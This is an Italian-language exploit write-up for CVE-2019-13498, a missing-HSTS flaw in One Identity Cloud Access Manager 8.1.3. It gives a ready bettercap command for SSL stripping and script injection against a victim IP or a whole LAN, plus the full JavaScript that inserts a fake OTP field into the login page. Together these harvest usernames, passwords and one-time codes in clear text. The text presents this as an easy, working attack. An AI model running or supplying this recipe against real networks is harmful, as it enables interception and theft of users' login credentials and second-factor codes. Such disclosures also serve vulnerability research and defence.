CVE-2019-13498
Titolo dell'exploit: MITM - HSTS mancante che causa furto di credenziali e manipolazione dei contenuti
Data: 07/10/2019
Autore dell'exploit: Furqan Khan
Homepage del fornitore: https://www.oneidentity.com/
Link del software: https://www.oneidentity.com/products/cloud-access-manager/
Versione: 8.1.3
Testato su: Kali Linux, Windows 7, Ubuntu 16.04
Per condurre l'attacco MITM e rubare nome utente, password e OTP, utilizziamo bettercap 1.6. Idealmente, la casella OTP compare nella seconda pagina dell'applicazione, dopo che l'utente si autentica con successo con un nome utente e una password legittimi. Tuttavia, utilizziamo lo SSL strip e la manipolazione dei contenuti per iniettare una casella di testo OTP nella stessa pagina in cui vengono richiesti nome utente e password. Una vittima potrebbe pensare che questa modifica provenga dall'applicazione stessa e quindi inserirà nome utente, password e OTP e invierà il modulo. L'attaccante, che ha configurato bettercap e il proxy, otterrà le credenziali e l'OTP e li userà per accedere all'applicazione.
Il comando bettercap usato è:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Qui 192.168.1.103 è l'indirizzo IP della vittima. Se non lo conosciamo, possiamo usare bettercap per sniffare e manipolare i contenuti dell'intera LAN (rete comune di attaccante e vittima)
Il contenuto di inject_js.js è il seguente
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Ora, quando la vittima naviga sul prodotto (Cloud access manager), a causa del cache poisoning e dello SSL strip (Bettercap), una casella di testo OTP verrà iniettata nella pagina che verrà servita alla vittima tramite il frammento JavaScript iniettato

Dato che la connessione viene declassata a http tramite ssl-strip, ora tutto il traffico sarà visibile all'attaccante. Così possiamo intercettare il traffico e vedere il nome utente, la password e l'OTP inviati dalla vittima.

Bingo! È stato facile!